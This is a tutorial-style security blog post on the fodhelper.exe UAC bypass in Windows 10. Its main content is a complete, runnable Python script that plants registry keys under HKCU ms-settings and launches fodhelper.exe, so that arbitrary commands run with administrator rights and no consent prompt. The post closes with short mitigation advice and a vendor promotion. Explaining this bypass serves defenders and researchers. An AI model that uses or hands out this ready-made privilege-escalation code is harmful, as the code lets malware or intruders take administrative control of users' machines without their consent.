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Bypassing Windows 10 UAC With Python

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Bypassing Windows 10 UAC With Python

In this post, we look at a vulnerability found in Windows 10, and how Windows 10 users can combat this threat to their system's security.

· Security Zone
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In May of 2017, a German student (Cristian B.) discovered a vulnerability in Windows 10 that allows any command to be executed with a high level of privileges without prompting the UAC.

The technique takes advantage of a “trusted binary” called fodhelper.exe to trick its execution.

Windows UAC

User Account Control (UAC) is a security component in Windows operating systems that enables users to perform common tasks as non-administrators and as administrators without having to switch users, log off, or use the option “Run As.”

Every time that a user attempts to perform a task that requires a user administrative access, the consent prompt is presented:

UAC Prompt on Firefox Installer

The Trusted Binary

The fodhelper.exe is a “trusted binary” located under C:\Windows\System32. It runs when a user requests to open “Manage Optional Features” option in the “Apps & features” Windows Settings screen.

Windows Settings

The binary contains “auto-elevation” settings in its manifest file, it’s created and digitally signed by Microsoft, and is housed in a trusted file location(C:\Windows\System32). This means that a UAC prompt won’t show when running this binary.

In short, what was found was that during the execution of the fodhelper.exe binary, the OS looks for additional commands to be executed based on two registry keys:

Software\Classes\ms-settings\shell\open\command\(default)
Software\Classes\ms-settings\shell\open\command\DelegateExecute

With that in mind, an attacker could change those registry keys and delegate any kind of code to be executed on the users’ behalf without any consent.

Using Python to Bypass the UAC

Let’s get started writing a simple Python script that checks if the user is running the script with administrative privileges:

import os
import sys
import ctypes
import _winreg

def is_running_as_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''    
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def execute():
    if not is_running_as_admin():
        print '[!] The script is NOT running with administrative privileges'    
    else:
        print '[+] The script is running with administrative privileges!'

if __name__ == '__main__':
    execute()

If you’re NOT running the Python script as admin, you’ll get the following message:

 [!] The script is NOT running with administrative privileges 

Now, let’s change our code to bypass the UAC and run the script again with administrative privileges:

import os
import sys
import ctypes
import _winreg

CMD                   = r"C:\Windows\System32\cmd.exe"
FOD_HELPER            = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD            = "python"
REG_PATH              = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'

def is_running_as_admin():
    '''
    Checks if the script is running with administrative privileges.
    Returns True if is running as admin, False otherwise.
    '''    
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def create_reg_key(key, value):
    '''
    Creates a reg key
    '''
    try:        
        _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

def bypass_uac(cmd):
    '''
    Tries to bypass the UAC
    '''
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def execute():        
    if not is_running_as_admin():
        print '[!] The script is NOT running with administrative privileges'
        print '[+] Trying to bypass the UAC'
        try:                
            current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
            cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
            bypass_uac(cmd)                
            os.system(FOD_HELPER)                
            sys.exit(0)                
        except WindowsError:
            sys.exit(1)
    else:
        print '[+] The script is running with administrative privileges!'        

if __name__ == '__main__':
    execute()

This time, if we run the script, another cmd will be prompted:

UAC Bypass

What just happened?

Basically, the script registered two keys under “Software\Classes\ms-settings\shell\open\command”(check regedit) telling the OS to execute our script every time that the binary fodhelper.exe is executed. Right after we registered the keys, we executed the binary file.

Image title

Preventing the Exploitation

To prevent malicious code from being executed utilizing this exploitation, the UAC level can be set to “Always Notify” and a better solution would be that users stop using administrator accounts if they don't need to (since this technique only works if the user is part of the operating system’s administrator group).

Find out how Waratek’s award-winning application security platform can improve the security of your new and legacy applications and platforms with no false positives, code changes or slowing your application.

Topics:
windows security ,security ,python security

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